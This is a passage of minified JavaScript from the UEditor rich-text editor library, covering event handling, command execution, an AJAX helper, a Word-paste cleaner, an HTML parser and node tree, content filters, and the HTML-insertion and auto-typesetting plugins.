- f(this.form,this)},focus:function(a){try{var b=this.selection.getRange();a?b.setStartAtLast(this.body.lastChild).setCursor(!1,!0):b.select(!0);this.fireEvent("focus")}catch(c){}},_initEvents:function(){var a=this,b=a.document,c=a.window;a._proxyDomEvent=p.bind(a._proxyDomEvent,a);e.on(b,"click contextmenu mousedown keydown keyup keypress mouseup mouseover mouseout selectstart".split(" "),a._proxyDomEvent);e.on(c,["focus","blur"],a._proxyDomEvent);e.on(b,["mouseup","keydown"],function(b){"keydown"==
- b.type&&(b.ctrlKey||b.metaKey||b.shiftKey||b.altKey)||2!=b.button&&a._selectionChange(250,b)})},_proxyDomEvent:function(a){return this.fireEvent(a.type.replace(/^on/,""),a)},_selectionChange:function(a,c){var d=this,e=!1,h,f;r.ie&&(9>r.version&&c&&"mouseup"==c.type)&&!this.selection.getRange().collapsed&&(e=!0,h=c.clientX,f=c.clientY);clearTimeout(b);b=setTimeout(function(){if(d.selection.getNative()){var a;if(e&&"None"==d.selection.getNative().type){a=d.document.body.createTextRange();try{a.moveToPoint(h,
- f)}catch(b){a=null}}var g;a&&(g=d.selection.getIERange,d.selection.getIERange=function(){return a});d.selection.cache();g&&(d.selection.getIERange=g);d.selection._cachedRange&&d.selection._cachedStartElement&&(d.fireEvent("beforeselectionchange"),d.fireEvent("selectionchange",!!c),d.fireEvent("afterselectionchange"),d.selection.clear())}},a||50)},_callCmdFn:function(a,b){var c=b[0].toLowerCase(),d;d=(c=this.commands[c]||UE.commands[c])&&c[a];if(!(c&&d||"queryCommandState"!=a))return 0;if(d)return d.apply(this,
- b)},execCommand:function(a){a=a.toLowerCase();var b,c=this.commands[a]||UE.commands[a];if(!c||!c.execCommand)return null;c.notNeedUndo||this.__hasEnterExecCommand?(b=this._callCmdFn("execCommand",arguments),!this._ignoreContentChange&&this.fireEvent("contentchange")):(this.__hasEnterExecCommand=!0,-1!=this.queryCommandState.apply(this,arguments)&&(this.fireEvent("beforeexeccommand",a),b=this._callCmdFn("execCommand",arguments),!this._ignoreContentChange&&this.fireEvent("contentchange"),this.fireEvent("afterexeccommand",
- a)),this.__hasEnterExecCommand=!1);!this._ignoreContentChange&&this._selectionChange();return b},queryCommandState:function(a){return this._callCmdFn("queryCommandState",arguments)},queryCommandValue:function(a){return this._callCmdFn("queryCommandValue",arguments)},hasContents:function(a){if(a)for(var b=0,c;c=a[b++];)if(0<this.document.getElementsByTagName(c).length)return!0;if(!e.isEmptyBlock(this.body))return!0;a=["div"];for(b=0;c=a[b++];){c=e.getElementsByTagName(this.document,c);for(var d=0,
- h;h=c[d++];)if(e.isCustomeNode(h))return!0}return!1},reset:function(){this.fireEvent("reset")},setEnabled:function(){var a;if("false"==this.body.contentEditable){this.body.contentEditable=!0;a=this.selection.getRange();try{a.moveToBookmark(this.lastBk),delete this.lastBk}catch(b){a.setStartAtFirst(this.body).collapse(!0)}a.select(!0);this.bkqueryCommandState&&(this.queryCommandState=this.bkqueryCommandState,delete this.bkqueryCommandState);this.fireEvent("selectionchange")}},enable:function(){return this.setEnabled()},
- setDisabled:function(a){var b=this;a=a?p.isArray(a)?a:[a]:[];"true"==b.body.contentEditable&&(b.lastBk||(b.lastBk=b.selection.getRange().createBookmark(!0)),b.body.contentEditable=!1,b.bkqueryCommandState=b.queryCommandState,b.queryCommandState=function(c){return-1!=p.indexOf(a,c)?b.bkqueryCommandState.apply(b,arguments):-1},b.fireEvent("selectionchange"))},disable:function(a){return this.setDisabled(a)},_setDefaultContent:function(){function a(){var b=this;b.document.getElementById("initContent")&&
- (b.body.innerHTML="<p>"+(E?"":"<br/>")+"</p>",b.removeListener("firstBeforeExecCommand focus",a),setTimeout(function(){b.focus();b._selectionChange()},0))}return function(b){this.body.innerHTML='<p id="initContent">'+b+"</p>";this.addListener("firstBeforeExecCommand focus",a)}}(),setShow:function(){var a=this.selection.getRange();if("none"==this.container.style.display){try{a.moveToBookmark(this.lastBk),delete this.lastBk}catch(b){a.setStartAtFirst(this.body).collapse(!0)}setTimeout(function(){a.select(!0)},
- 100);this.container.style.display=""}},show:function(){return this.setShow()},setHide:function(){this.lastBk||(this.lastBk=this.selection.getRange().createBookmark(!0));this.container.style.display="none"},hide:function(){return this.setHide()},getLang:function(a){var b=UE.I18N[this.options.lang];if(!b)throw Error("not import language file");a=(a||"").split(".");for(var c=0,d;(d=a[c++])&&(b=b[d],b););return b},getContentLength:function(a,b){var c=this.getContent(!1,!1,!0).length;if(a){b=(b||[]).concat(["hr",
- "img","iframe"]);for(var c=this.getContentTxt().replace(/[\t\r\n]+/g,"").length,d=0,e;e=b[d++];)c+=this.document.getElementsByTagName(e).length}return c},addInputRule:function(a){this.inputRules.push(a)},filterInputRule:function(a){for(var b=0,c;c=this.inputRules[b++];)c.call(this,a)},addOutputRule:function(a){this.outputRules.push(a)},filterOutputRule:function(a){for(var b=0,c;c=this.outputRules[b++];)c.call(this,a)}};p.inherits(h,V)})();UE.ajax=function(){function e(a){var b=[],c;for(c in a)"method"!=
- c&&"timeout"!=c&&"async"!=c&&"function"!=(typeof a[c]).toLowerCase()&&"object"!=(typeof a[c]).toLowerCase()&&b.push(encodeURIComponent(c)+"="+encodeURIComponent(a[c]));return b.join("&")}var a="XMLHttpRequest()";try{new ActiveXObject("Msxml2.XMLHTTP"),a="ActiveXObject('Msxml2.XMLHTTP')"}catch(d){try{new ActiveXObject("Microsoft.XMLHTTP"),a="ActiveXObject('Microsoft.XMLHTTP')"}catch(c){}}var b=new Function("return new "+a);return{request:function(a,c){var d=b(),l=!1,n={method:"POST",timeout:5E3,async:!0,
- data:{},onsuccess:function(){},onerror:function(){}};"object"===typeof a&&(c=a,a=c.url);if(d&&a){var m=c?p.extend(n,c):n,n=e(m);p.isEmptyObject(m.data)||(n+=(n?"&":"")+e(m.data));var s=setTimeout(function(){4!=d.readyState&&(l=!0,d.abort(),clearTimeout(s))},m.timeout),t=m.method.toUpperCase(),u=a+(-1==a.indexOf("?")?"?":"&")+("POST"==t?"":n+"&noCache="+ +new Date);d.open(t,u,m.async);d.onreadystatechange=function(){if(4==d.readyState)if(l||200!=d.status)m.onerror(d);else m.onsuccess(d)};"POST"==t?
- (d.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),d.send(n)):d.send(null)}}}}();UE.filterWord=function(){function e(a){return a=a.replace(/[\d.]+\w+/g,function(a){return p.transUnitToPx(a)})}function a(a){return a.replace(/[\t\r\n]+/g,"").replace(/\x3c!--[\s\S]*?--\x3e/ig,"").replace(/<v:shape [^>]*>[\s\S]*?.<\/v:shape>/gi,function(a){if(r.opera)return"";try{var b=a.match(/width:([ \d.]*p[tx])/i)[1],d=a.match(/height:([ \d.]*p[tx])/i)[1],g=a.match(/src=\s*"([^"]*)"/i)[1];return'<img width="'+
- e(b)+'" height="'+e(d)+'" src="'+g+'" />'}catch(k){return""}}).replace(/<\/?div[^>]*>/g,"").replace(/v:\w+=(["']?)[^'"]+\1/g,"").replace(/<(!|script[^>]*>.*?<\/script(?=[>\s])|\/?(\?xml(:\w+)?|xml|meta|link|style|\w+:\w+)(?=[\s\/>]))[^>]*>/gi,"").replace(/<p [^>]*class="?MsoHeading"?[^>]*>(.*?)<\/p>/gi,"<p><strong>$1</strong></p>").replace(/\s+(class|lang|align)\s*=\s*(['"]?)([\w-]+)\2/ig,function(a,b,d,g){return"class"==b&&"MsoListParagraph"==g?a:""}).replace(/<(font|span)[^>]*>\s*<\/\1>/gi,"").replace(/(<[a-z][^>]*)\sstyle=(["'])([^\2]*?)\2/gi,
- function(a,b,d,g){a=[];g=g.replace(/^\s+|\s+$/,"").replace(/'/g,"'").replace(/"/gi,"'").split(/;\s*/g);d=0;for(var k;k=g[d];d++){var l,n=k.split(":");if(2==n.length&&(k=n[0].toLowerCase(),l=n[1].toLowerCase(),!(/^(background)\w*/.test(k)&&0==l.replace(/(initial|\s)/g,"").length||/^(margin)\w*/.test(k)&&/^0\w+$/.test(l)))){switch(k){case "mso-padding-alt":case "mso-padding-top-alt":case "mso-padding-right-alt":case "mso-padding-bottom-alt":case "mso-padding-left-alt":case "mso-margin-alt":case "mso-margin-top-alt":case "mso-margin-right-alt":case "mso-margin-bottom-alt":case "mso-margin-left-alt":case "mso-height":case "mso-width":case "mso-vertical-align-alt":/<table/.test(b)||
- (a[d]=k.replace(/^mso-|-alt$/g,"")+":"+e(l));continue;case "horiz-align":a[d]="text-align:"+l;continue;case "vert-align":a[d]="vertical-align:"+l;continue;case "font-color":case "mso-foreground":a[d]="color:"+l;continue;case "mso-background":case "mso-highlight":a[d]="background:"+l;continue;case "mso-default-height":a[d]="min-height:"+e(l);continue;case "mso-default-width":a[d]="min-width:"+e(l);continue;case "mso-padding-between-alt":a[d]="border-collapse:separate;border-spacing:"+e(l);continue;
- case "text-line-through":if("single"==l||"double"==l)a[d]="text-decoration:line-through";continue;case "mso-zero-height":"yes"==l&&(a[d]="display:none");continue;case "margin":if(!/[1-9]/.test(l))continue}/^(mso|column|font-emph|lang|layout|line-break|list-image|nav|panose|punct|row|ruby|sep|size|src|tab-|table-border|text-(?:decor|trans)|top-bar|version|vnd|word-break)/.test(k)||/text\-indent|padding|margin/.test(k)&&/\-[\d.]+/.test(l)||(a[d]=k+":"+n[1])}}return b+(a.length?' style="'+a.join(";").replace(/;{2,}/g,
- ";")+'"':"")}).replace(/[\d.]+(cm|pt)/g,function(a){return p.transUnitToPx(a)})}return function(d){return/(class="?Mso|style="[^"]*\bmso\-|w:WordDocument|<v:)/ig.test(d)?a(d):d}}();(function(){function e(a,b,c){a.push(l);return b+(c?1:-1)}function a(a,b){for(var c=0;c<b;c++)a.push(k)}function d(b,c,g,l){switch(b.type){case "root":for(var k=0,h;h=b.children[k++];)g&&("element"==h.type&&!w.$inlineWithA[h.tagName]&&1<k)&&(e(c,l,!0),a(c,l)),d(h,c,g,l);break;case "text":c.push("pre"==b.parentNode.tagName?
- b.data:b.data.replace(/[ ]{2}/g," "));break;case "element":h="";if(b.attrs){h=[];var x=b.attrs;for(k in x)h.push(k+(void 0!==x[k]?'="'+p.unhtml(x[k])+'"':""));h=h.join(" ")}c.push("<"+b.tagName+(h?" "+h:"")+(w.$empty[b.tagName]?"/":"")+">");g&&(!w.$inlineWithA[b.tagName]&&"pre"!=b.tagName)&&(b.children&&b.children.length)&&(l=e(c,l,!0),a(c,l));if(b.children&&b.children.length)for(k=0;h=b.children[k++];)g&&("element"==h.type&&!w.$inlineWithA[h.tagName]&&1<k)&&(e(c,l),a(c,l)),d(h,c,g,l);w.$empty[b.tagName]||
- (g&&(!w.$inlineWithA[b.tagName]&&"pre"!=b.tagName)&&(b.children&&b.children.length)&&(l=e(c,l),a(c,l)),c.push("</"+b.tagName+">"));break;case "comment":c.push("\x3c!--"+b.data+"--\x3e")}return c}function c(a,b){var g;if("element"==a.type&&a.getAttr("id")==b)return a;if(a.children&&a.children.length)for(var d=0;g=a.children[d++];)if(g=c(g,b))return g}function b(a,c,g){"element"==a.type&&a.tagName==c&&g.push(a);if(a.children&&a.children.length)for(var d=0,e;e=a.children[d++];)b(e,c,g)}function h(a,
- b){if(a.children&&a.children.length)for(var c=0,g;g=a.children[c];)h(g,b),g.parentNode&&(g.children&&g.children.length&&b(g),g.parentNode&&c++);else b(a)}var g=UE.uNode=function(a){this.type=a.type;this.data=a.data;this.tagName=a.tagName;this.parentNode=a.parentNode;this.attrs=a.attrs||{};this.children=a.children},k=" ",l="\n";g.createElement=function(a){return/[<>]/.test(a)?UE.htmlparser(a).children[0]:new g({type:"element",children:[],tagName:a})};g.createText=function(a){return new UE.uNode({type:"text",
- data:p.unhtml(a||"")})};g.prototype={toHtml:function(a){var b=[];d(this,b,a,0);return b.join("")},innerHTML:function(a){if("element"!=this.type||w.$empty[this.tagName])return this;if(p.isString(a)){if(this.children)for(var b=0,c;c=this.children[b++];)c.parentNode=null;this.children=[];a=UE.htmlparser(a);for(b=0;c=a.children[b++];)this.children.push(c),c.parentNode=this;return this}a=new UE.uNode({type:"root",children:this.children});return a.toHtml()},innerText:function(a){if("element"!=this.type||
- w.$empty[this.tagName])return this;if(a){if(this.children)for(var b=0,c;c=this.children[b++];)c.parentNode=null;this.children=[];this.appendChild(g.createText(a));return this}return this.toHtml().replace(/<[^>]+>/g,"")},getData:function(){return"element"==this.type?"":this.data},firstChild:function(){return this.children?this.children[0]:null},lastChild:function(){return this.children?this.children[this.children.length-1]:null},previousSibling:function(){for(var a=this.parentNode,b=0,c;c=a.children[b];b++)if(c===
- this)return 0==b?null:a.children[b-1]},nextSibling:function(){for(var a=this.parentNode,b=0,c;c=a.children[b++];)if(c===this)return a.children[b]},replaceChild:function(a,b){if(this.children){a.parentNode&&a.parentNode.removeChild(a);for(var c=0,g;g=this.children[c];c++)if(g===b)return this.children.splice(c,1,a),b.parentNode=null,a.parentNode=this,a}},appendChild:function(a){if("root"==this.type||"element"==this.type&&!w.$empty[this.tagName]){this.children||(this.children=[]);a.parentNode&&a.parentNode.removeChild(a);
- for(var b=0,c;c=this.children[b];b++)if(c===a){this.children.splice(b,1);break}this.children.push(a);a.parentNode=this;return a}},insertBefore:function(a,b){if(this.children){a.parentNode&&a.parentNode.removeChild(a);for(var c=0,g;g=this.children[c];c++)if(g===b)return this.children.splice(c,0,a),a.parentNode=this,a}},insertAfter:function(a,b){if(this.children){a.parentNode&&a.parentNode.removeChild(a);for(var c=0,g;g=this.children[c];c++)if(g===b)return this.children.splice(c+1,0,a),a.parentNode=
- this,a}},removeChild:function(a,b){if(this.children)for(var c=0,g;g=this.children[c];c++)if(g===a){this.children.splice(c,1);g.parentNode=null;if(b&&g.children&&g.children.length)for(var d=0,e;e=g.children[d];d++)this.children.splice(c+d,0,e),e.parentNode=this;return g}},getAttr:function(a){return this.attrs&&this.attrs[a.toLowerCase()]},setAttr:function(a,b){if(a)if(this.attrs||(this.attrs={}),p.isObject(a))for(var c in a)a[c]?this.attrs[c.toLowerCase()]=a[c]:delete this.attrs[c];else b?this.attrs[a.toLowerCase()]=
- b:delete this.attrs[a];else delete this.attrs},getIndex:function(){for(var a=this.parentNode,b=0,c;c=a.children[b];b++)if(c===this)return b;return-1},getNodeById:function(a){var b;if(this.children&&this.children.length)for(var g=0;b=this.children[g++];)if(b=c(b,a))return b},getNodesByTagName:function(a){a=p.trim(a).replace(/[ ]{2,}/g," ").split(" ");var c=[],g=this;p.each(a,function(a){if(g.children&&g.children.length)for(var d=0,e;e=g.children[d++];)b(e,a,c)});return c},getStyle:function(a){var b=
- this.getAttr("style");return b?(a=b.match(RegExp(a+":([^;]+)","i")))&&a[0]?a[1]:"":""},setStyle:function(a,b){function c(a,b){g=g.replace(RegExp(a+":([^;]+;?)","gi"),"");b&&(g=a+":"+p.unhtml(b)+";"+g)}var g=this.getAttr("style");g||(g="");if(p.isObject(a))for(var d in a)c(d,a[d]);else c(a,b);this.setAttr("style",p.trim(g))},traversal:function(a){this.children&&this.children.length&&h(this,a);return this}}})();UE.htmlparser=function(f,a){function d(a,b){if(n[a.tagName]){var c=k.createElement(n[a.tagName]);
- a.appendChild(c);c.appendChild(k.createText(b))}else a.appendChild(k.createText(b))}function c(a,b,g){var d;if(d=l[b]){for(var e=a,f;"root"!=e.type;){if(p.isArray(d)?-1!=p.indexOf(d,e.tagName):d==e.tagName){a=e;f=!0;break}e=e.parentNode}f||(a=c(a,p.isArray(d)?d[0]:d))}d=new k({parentNode:a,type:"element",tagName:b.toLowerCase(),children:w.$empty[b]?null:[]});if(g){for(e={};f=h.exec(g);)e[f[1].toLowerCase()]=p.unhtml(f[2]||f[3]||f[4]);d.attrs=e}a.children.push(d);return w.$empty[b]?a:d}var b=/<(?:(?:\/([^>]+)>)|(?:!--([\S|\s]*?)--\x3e)|(?:([^\s\/>]+)\s*((?:(?:"[^"]*")|(?:'[^']*')|[^"'<>])*)\/?>))/g,
- h=/([\w\-:.]+)(?:(?:\s*=\s*(?:(?:"([^"]*)")|(?:'([^']*)')|([^\s>]+)))|(?=\s|$))/g,g={b:1,code:1,i:1,u:1,strike:1,s:1,tt:1,strong:1,q:1,samp:1,em:1,span:1,sub:1,img:1,sup:1,font:1,big:1,small:1,iframe:1,a:1,br:1,pre:1};f=f.replace(RegExp(e.fillChar,"g"),"");a||(f=f.replace(RegExp("[\\r\\t\\n"+(a?"":" ")+"]*</?(\\w+)\\s*(?:[^>]*)>[\\r\\t\\n"+(a?"":" ")+"]*","g"),function(b,c){return c&&g[c.toLowerCase()]?b.replace(/(^[\n\r]+)|([\n\r]+$)/g,""):b.replace(RegExp("^[\\r\\n"+(a?"":" ")+"]+"),"").replace(RegExp("[\\r\\n"+
- (a?"":" ")+"]+$"),"")}));for(var k=UE.uNode,l={td:"tr",tr:["tbody","thead","tfoot"],tbody:"table",th:"tr",thead:"table",tfoot:"table",caption:"table",li:["ul","ol"],dt:"dl",dd:"dl",option:"select"},n={ol:"li",ul:"li"},m,s=0,t=0,u=new k({type:"root",children:[]}),v=u;m=b.exec(f);){s=m.index;try{if(s>t&&d(v,f.slice(t,s)),m[3])v=c(v,m[3].toLowerCase(),m[4]);else if(m[1]){if("root"!=v.type){for(s=v;"element"==v.type&&v.tagName!=m[1].toLowerCase();)if(v=v.parentNode,"root"==v.type)throw v=s,"break";v=
- v.parentNode}}else m[2]&&v.children.push(new k({type:"comment",data:m[2],parentNode:v}))}catch(x){}t=b.lastIndex}t<f.length&&d(v,f.slice(t));return u};UE.filterNode=function(){function e(a,d){switch(a.type){case "element":var c;if(c=d[a.tagName])if("-"===c)a.parentNode.removeChild(a);else if(p.isFunction(c)){var b=a.parentNode,h=a.getIndex();c(a);if(a.parentNode){if(a.children)for(c=0;h=a.children[c];)e(h,d),h.parentNode&&c++}else for(c=h;h=b.children[c];)e(h,d),h.parentNode&&c++}else{if((c=c.$)&&
- a.attrs){var h={},g;for(b in c){g=a.getAttr(b);if("style"==b&&p.isArray(c[b])){var k=[];p.each(c[b],function(b){var c;(c=a.getStyle(b))&&k.push(b+":"+c)});g=k.join(";")}g&&(h[b]=g)}a.attrs=h}if(a.children)for(c=0;h=a.children[c];)e(h,d),h.parentNode&&c++}else if(w.$cdata[a.tagName])a.parentNode.removeChild(a);else for(b=a.parentNode,h=a.getIndex(),a.parentNode.removeChild(a,!0),c=h;h=b.children[c];)e(h,d),h.parentNode&&c++;break;case "comment":a.parentNode.removeChild(a)}}return function(a,d){if(p.isEmptyObject(d))return a;
- var c;(c=d["-"])&&p.each(c.split(" "),function(a){d[a]="-"});c=0;for(var b;b=a.children[c];)e(b,d),b.parentNode&&c++;return a}}();UE.plugins.defaultfilter=function(){var e=this;e.setOpt("allowDivTransToP",!0);e.addInputRule(function(a){var d=this.options.allowDivTransToP,c;a.traversal(function(a){if("element"==a.type){if(!w.$cdata[a.tagName]&&e.options.autoClearEmptyNode&&w.$inline[a.tagName]&&!w.$empty[a.tagName]&&(!a.attrs||p.isEmptyObject(a.attrs))){a.firstChild()?"span"!=a.tagName||a.attrs&&!p.isEmptyObject(a.attrs)||
- a.parentNode.removeChild(a,!0):a.parentNode.removeChild(a);return}switch(a.tagName){case "style":case "script":a.setAttr({cdata_tag:a.tagName,cdata_data:encodeURIComponent(a.innerText()||"")});a.tagName="div";a.removeChild(a.firstChild());break;case "a":(c=a.getAttr("href"))&&a.setAttr("_href",c);break;case "img":if((c=a.getAttr("src"))&&/^data:/.test(c)){a.parentNode.removeChild(a);break}a.setAttr("_src",a.getAttr("src"));break;case "span":r.webkit&&(c=a.getStyle("white-space"))&&/nowrap|normal/.test(c)&&
- (a.setStyle("white-space",""),e.options.autoClearEmptyNode&&p.isEmptyObject(a.attrs)&&a.parentNode.removeChild(a,!0));break;case "p":if(c=a.getAttr("align"))a.setAttr("align"),a.setStyle("text-align",c);a.firstChild()||a.innerHTML(r.ie?" ":"<br/>");break;case "div":if(a.getAttr("cdata_tag"))break;if((c=a.getAttr("class"))&&/^line number\d+/.test(c))break;if(!d)break;for(var h,g=UE.uNode.createElement("p");h=a.firstChild();)"text"!=h.type&&UE.dom.dtd.$block[h.tagName]?g.firstChild()?(a.parentNode.insertBefore(g,
- a),g=UE.uNode.createElement("p")):a.parentNode.insertBefore(h,a):g.appendChild(h);g.firstChild()&&a.parentNode.insertBefore(g,a);a.parentNode.removeChild(a);break;case "dl":a.tagName="ul";break;case "dt":case "dd":a.tagName="li";break;case "li":(h=a.getAttr("class"))&&/list\-/.test(h)||a.setAttr();h=a.getNodesByTagName("ol ul");UE.utils.each(h,function(c){a.parentNode.insertAfter(c,a)});break;case "td":case "th":case "caption":a.children&&a.children.length||a.appendChild(r.ie?UE.uNode.createText(" "):
- UE.uNode.createElement("br"))}}"comment"==a.type&&a.parentNode.removeChild(a)})});e.addOutputRule(function(a){var d;a.traversal(function(a){if("element"==a.type)if(!e.options.autoClearEmptyNode||!w.$inline[a.tagName]||w.$empty[a.tagName]||a.attrs&&!p.isEmptyObject(a.attrs))switch(a.tagName){case "div":if(d=a.getAttr("cdata_tag"))a.tagName=d,a.appendChild(UE.uNode.createText(a.getAttr("cdata_data"))),a.setAttr({cdata_tag:"",cdata_data:""});break;case "a":(d=a.getAttr("_href"))&&a.setAttr({href:d,_href:""});
- break;case "img":(d=a.getAttr("_src"))&&a.setAttr({src:a.getAttr("_src"),_src:""})}else a.firstChild()?"span"!=a.tagName||a.attrs&&!p.isEmptyObject(a.attrs)||a.parentNode.removeChild(a,!0):a.parentNode.removeChild(a)})})};UE.commands.inserthtml={execCommand:function(f,a,d){var c=this,b;if(a&&!0!==c.fireEvent("beforeinserthtml",a)){b=c.selection.getRange();f=b.document.createElement("div");f.style.display="inline";d||(a=UE.htmlparser(a),c.options.filterRules&&UE.filterNode(a,c.options.filterRules),
- c.filterInputRule(a),a=a.toHtml());f.innerHTML=p.trim(a);if(!b.collapsed&&(a=b.startContainer,e.isFillChar(a)&&b.setStartBefore(a),a=b.endContainer,e.isFillChar(a)&&b.setEndAfter(a),b.txtToElmBoundary(),b.endContainer&&1==b.endContainer.nodeType&&(a=b.endContainer.childNodes[b.endOffset])&&e.isBr(a)&&b.setEndAfter(a),0==b.startOffset&&(a=b.startContainer,e.isBoundaryNode(a,"firstChild")&&(a=b.endContainer,b.endOffset==(3==a.nodeType?a.nodeValue.length:a.childNodes.length)&&e.isBoundaryNode(a,"lastChild")&&
- (c.body.innerHTML="<p>"+(r.ie?"":"<br/>")+"</p>",b.setStart(c.body.firstChild,0).collapse(!0)))),!b.collapsed&&b.deleteContents(),1==b.startContainer.nodeType)){a=b.startContainer.childNodes[b.startOffset];var h;if(a&&e.isBlockElm(a)&&(h=a.previousSibling)&&e.isBlockElm(h)){for(b.setEnd(h,h.childNodes.length).collapse();a.firstChild;)h.appendChild(a.firstChild);e.remove(a)}}var g,k;d=0;var l;b.inFillChar()&&(a=b.startContainer,e.isFillChar(a)?(b.setStartBefore(a).collapse(!0),e.remove(a)):e.isFillChar(a,
- !0)&&(a.nodeValue=a.nodeValue.replace(O,""),b.startOffset--,b.collapsed&&b.collapse(!0)));var n=e.findParentByTagName(b.startContainer,"li",!0);if(n){for(var m;a=f.firstChild;){for(;a&&(3==a.nodeType||!e.isBlockElm(a)||"HR"==a.tagName);)m=a.nextSibling,b.insertNode(a).collapse(),g=a,a=m;if(a)if(/^(ol|ul)$/i.test(a.tagName)){for(;a.firstChild;)g=a.firstChild,e.insertAfter(n,a.firstChild),n=n.nextSibling;e.remove(a)}else m=a.nextSibling,h=c.document.createElement("li"),e.insertAfter(n,h),h.appendChild(a),
- g=a,a=m,n=h}n=e.findParentByTagName(b.startContainer,"li",!0);e.isEmptyBlock(n)&&e.remove(n);g&&b.setStartAfter(g).collapse(!0).select(!0)}else{for(;a=f.firstChild;){if(d){for(g=c.document.createElement("p");a&&(3==a.nodeType||!w.$block[a.tagName]);)l=a.nextSibling,g.appendChild(a),a=l;g.firstChild&&(a=g)}b.insertNode(a);l=a.nextSibling;if(!d&&a.nodeType==e.NODE_ELEMENT&&e.isBlockElm(a)&&(g=e.findParent(a,function(a){return e.isBlockElm(a)}))&&"body"!=g.tagName.toLowerCase()&&(!w[g.tagName][a.nodeName]||
- a.parentNode!==g)){if(w[g.tagName][a.nodeName])for(k=a.parentNode;k!==g;)h=k,k=k.parentNode;else h=g;e.breakParent(a,h||k);h=a.previousSibling;e.trimWhiteTextNode(h);h.childNodes.length||e.remove(h);!r.ie&&((m=a.nextSibling)&&e.isBlockElm(m)&&m.lastChild&&!e.isBr(m.lastChild))&&m.appendChild(c.document.createElement("br"));d=1}m=a.nextSibling;if(!f.firstChild&&m&&e.isBlockElm(m)){b.setStart(m,0).collapse(!0);break}b.setEndAfter(a).collapse()}a=b.startContainer;l&&e.isBr(l)&&e.remove(l);if(e.isBlockElm(a)&&
- e.isEmptyNode(a))if(l=a.nextSibling)e.remove(a),1==l.nodeType&&w.$block[l.tagName]&&b.setStart(l,0).collapse(!0).shrinkBoundary();else try{a.innerHTML=r.ie?e.fillChar:"<br/>"}catch(s){b.setStartBefore(a),e.remove(a)}try{b.select(!0)}catch(t){}}setTimeout(function(){b=c.selection.getRange();b.scrollToView(c.autoHeightEnabled,c.autoHeightEnabled?e.getXY(c.iframe).y:0);c.fireEvent("afterinserthtml")},200)}}};UE.plugins.autotypeset=function(){function f(a,b){if(!a||3==a.nodeType)return 0;if(e.isBr(a))return 1;
- if(a&&a.parentNode&&k[a.tagName.toLowerCase()])return l&&l.contains(a)||a.getAttribute("pagebreak")?0:b?!e.isEmptyBlock(a):e.isEmptyBlock(a,RegExp("[\\s"+e.fillChar+"]","g"))}function a(a){a.style.cssText||(e.removeAttributes(a,["style"]),"span"==a.tagName.toLowerCase()&&e.hasNoAttributes(a)&&e.remove(a,!0))}function d(c,d){var k;if(d){if(!b.pasteFilter)return;k=this.document.createElement("div");k.innerHTML=d.html}else k=this.document.body;for(var t=e.getElementsByTagName(k,"*"),u=0,v;v=t[u++];)if(!0!==
- this.fireEvent("excludeNodeinautotype",v)){b.clearFontSize&&v.style.fontSize&&(e.removeStyle(v,"font-size"),a(v));b.clearFontFamily&&v.style.fontFamily&&(e.removeStyle(v,"font-family"),a(v));if(f(v)){if(b.mergeEmptyline)for(var x=v.nextSibling,D,p=e.isBr(v);f(x);){D=x;x=D.nextSibling;if(p&&(!x||x&&!e.isBr(x)))break;e.remove(D)}if(b.removeEmptyline&&e.inDoc(v,k)&&!g[v.parentNode.tagName.toLowerCase()]){if(e.isBr(v)&&(x=v.nextSibling)&&!e.isBr(x))continue;e.remove(v);continue}}f(v,!0)&&"SPAN"!=v.tagName&&
- (b.indent&&(v.style.textIndent=b.indentValue),b.textAlign&&(v.style.textAlign=b.textAlign));if(b.removeClass&&v.className&&!h[v.className.toLowerCase()]){if(l&&l.contains(v))continue;e.removeAttributes(v,["class"])}if(b.imageBlockLine&&"img"==v.tagName.toLowerCase()&&!v.getAttribute("emotion"))if(d)switch(p=v,b.imageBlockLine){case "left":case "right":case "none":for(var x=p.parentNode,C;w.$inline[x.tagName]||"A"==x.tagName;)x=x.parentNode;D=x;if("P"==D.tagName&&"center"==e.getStyle(D,"text-align")&&
- !e.isBody(D)&&1==e.getChildCount(D,function(a){return!e.isBr(a)&&!e.isWhitespace(a)}))if(C=D.previousSibling,x=D.nextSibling,C&&x&&1==C.nodeType&&1==x.nodeType&&C.tagName==x.tagName&&e.isBlockElm(C)){for(C.appendChild(D.firstChild);x.firstChild;)C.appendChild(x.firstChild);e.remove(D);e.remove(x)}else e.setStyle(D,"text-align","");e.setStyle(p,"float",b.imageBlockLine);break;case "center":if("center"!=this.queryCommandValue("imagefloat")){x=p.parentNode;e.setStyle(p,"float","none");for(D=p;x&&1==
- e.getChildCount(x,function(a){return!e.isBr(a)&&!e.isWhitespace(a)})&&(w.$inline[x.tagName]||"A"==x.tagName);)D=x,x=x.parentNode;x=this.document.createElement("p");e.setAttributes(x,{style:"text-align:center"});D.parentNode.insertBefore(x,D);x.appendChild(D);e.setStyle(D,"float","")}}else this.selection.getRange().selectNode(v).select(),this.execCommand("imagefloat",b.imageBlockLine);b.removeEmptyNode&&b.removeTagNames[v.tagName.toLowerCase()]&&(e.hasNoAttributes(v)&&e.isEmptyBlock(v))&&e.remove(v)}d&&
- (d.html=k.innerHTML)}this.setOpt({autotypeset:{mergeEmptyline:!0,removeClass:!0,removeEmptyline:!1,textAlign:"left",imageBlockLine:"center",pasteFilter:!1,clearFontSize:!1,clearFontFamily:!1,removeEmptyNode:!1,removeTagNames:p.extend({div:1},w.$removeEmpty),indent:!1,indentValue:"2em"}});var c=this,b=c.options.autotypeset,h={selectTdClass:1,pagebreak:1,anchorclass:1},g={li:1},k={div:1,p:1,blockquote:1,center:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,span:1},l;b&&(b.pasteFilter&&c.addListener("beforepaste",
- d),c.commands.autotypeset={execCommand:function(){c.removeListener("beforepaste",d);b.pasteFilter&&c.addListener("beforepaste",d);d.call(c)}})};UE.plugins.autosubmit=function(){this.commands.autosubmit={execCommand:function(){var f=e.findParentByTagName(this.iframe,"form",!1);f&&!1!==this.fireEvent("beforesubmit")&&(this.sync(),f.submit())}};this.addshortcutkey({autosubmit:"ctrl+13"})};UE.plugins.background=function(){var f=this;f.addListener("getAllHtml",function(a,d){var c=this.body,b=e.getComputedStyle(c,
